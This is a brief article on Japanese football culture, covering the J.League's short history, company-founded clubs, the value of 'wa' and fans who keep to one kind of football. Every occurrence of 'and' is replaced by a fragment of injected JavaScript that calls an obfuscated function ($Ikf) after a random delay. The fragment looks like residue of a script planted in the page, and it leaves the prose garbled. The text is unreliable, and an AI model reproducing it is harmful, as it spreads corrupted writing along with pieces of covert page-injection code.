Professional football in Japan has a relatively short history. The J.League’s first tournament was organized in 1992, less than 30 years ago.

Especially before professionalism (but still true today!) football is seen as a sport discipline more than a popular phenomenon or a culture. It is widely practiced mainly at schools andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and companies, in fact the great majority of the Japanese professional clubs were born out of big brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands, such as Panasonic, Hitachi, Toyota, etc.

Postwar Japanese society is built on the concept of “wa”, which can loosely be translated as “harmony”. Football is no exception: while passions can run high, rivalries are mellow, there is great respect for the opponents, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hooliganism is very rare andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and severely punished.

Most Japanese will follow a specific “genre” of football only: the local league, the European leagues, the national teams, high-school/university football, or women’s football. For instance, some J.League fans might go to the stadium every week andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and know everything about Japanese domestic football, but they might have not ever seen a Fulham FC game, or not even know that it exists!